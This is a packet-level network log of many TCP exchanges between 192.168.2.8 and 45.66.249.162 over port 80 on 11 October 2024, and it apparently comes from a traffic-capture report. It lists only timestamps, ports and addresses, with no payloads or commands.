Oct 11, 2024 22:32:35.507683992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507689953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507713079 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507730961 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507771969 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507807016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507869005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507879972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507900953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507908106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507922888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507931948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507940054 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507949114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507953882 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507976055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.507978916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.507998943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508016109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508025885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508043051 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508054018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508069992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508094072 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508094072 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508130074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508130074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508130074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508130074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508130074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508130074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508178949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508188963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508224964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508311987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508322954 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508339882 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508351088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508348942 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508348942 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508398056 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508435011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508446932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508481026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508481026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508502007 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508516073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508549929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508558035 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508586884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508591890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508627892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508627892 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508670092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508676052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508716106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508722067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508758068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508763075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508799076 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508804083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508840084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508840084 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508874893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508879900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508910894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508915901 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508945942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508949995 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.508981943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.508984089 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.509016991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.509021997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.509052992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.509056091 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.509088993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:35.509094954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.509130001 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.550087929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:35.555068016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.031583071 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.031616926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.031641960 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.031656981 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.031672955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.031688929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.031698942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.031708956 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.031721115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.031734943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.031754971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.031757116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.031770945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.031781912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.031793118 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.031825066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.191322088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191360950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191381931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191411018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191433907 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191445112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191456079 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.191467047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191485882 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191502094 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191518068 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.191529036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191538095 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.191551924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191561937 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191581964 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191591978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191593885 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.191616058 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.191625118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191637039 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191642046 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.191659927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191669941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191670895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.191689014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191692114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.191705942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191718102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191730976 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.191730976 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.191740036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191764116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.191786051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.191787004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191798925 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191816092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191829920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.191839933 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.191855907 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.191867113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.356540918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356605053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356630087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356650114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356659889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356678963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356688976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356702089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356718063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356736898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356734037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.356734037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.356755018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356781006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356782913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.356782913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.356792927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356806040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356811047 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.356822968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356831074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.356837988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356854916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356854916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.356867075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356878042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.356889009 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356903076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356904030 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.356924057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356930971 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.356935024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356950045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356950998 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.356969118 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.356969118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356980085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.356992006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.356997967 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357012987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357016087 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.357033014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357040882 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.357048988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357064962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.357065916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357079983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357085943 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.357098103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357108116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357109070 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.357127905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357136011 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.357139111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357157946 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.357183933 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.357212067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357223988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357240915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357250929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357250929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.357270002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357280016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.357285976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357302904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357306957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.357319117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357325077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.357336998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357347012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357348919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.357362032 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.357364893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357379913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.357383013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.357409000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.357431889 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.510386944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510560989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.510581970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510632038 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.510662079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510690928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510713100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510732889 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.510742903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510765076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510768890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.510791063 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.510792017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510806084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.510809898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510821104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.510831118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510843039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.510854006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510857105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.510869026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510885000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510902882 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510904074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.510924101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510926962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.510938883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510952950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510958910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.510972977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.510977030 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511001110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511003017 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511027098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511038065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511038065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511059999 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511061907 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511074066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511082888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511090040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511094093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511113882 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511115074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511128902 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511130095 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511142969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511146069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511154890 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511158943 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511173964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511174917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511189938 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511193037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511202097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511203051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511219025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511220932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511234999 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511238098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511249065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511260033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511262894 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511274099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511287928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511292934 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511312962 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511312962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511323929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511334896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511346102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511360884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511368990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511393070 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511393070 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511424065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511434078 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511450052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511462927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511462927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511476040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511482000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511492968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511502028 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511513948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511517048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511528015 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511531115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511545897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511554003 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511563063 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511567116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511584044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511598110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511605024 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511610985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511629105 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511630058 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511642933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511646032 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511662006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511670113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511678934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511687040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511689901 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511710882 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511710882 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511724949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511727095 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511742115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511743069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511759043 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511775017 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511933088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511944056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511960030 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511971951 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:36.511972904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:36.511991024 CEST	80	49707	45.66.249.162	192.168.2.8
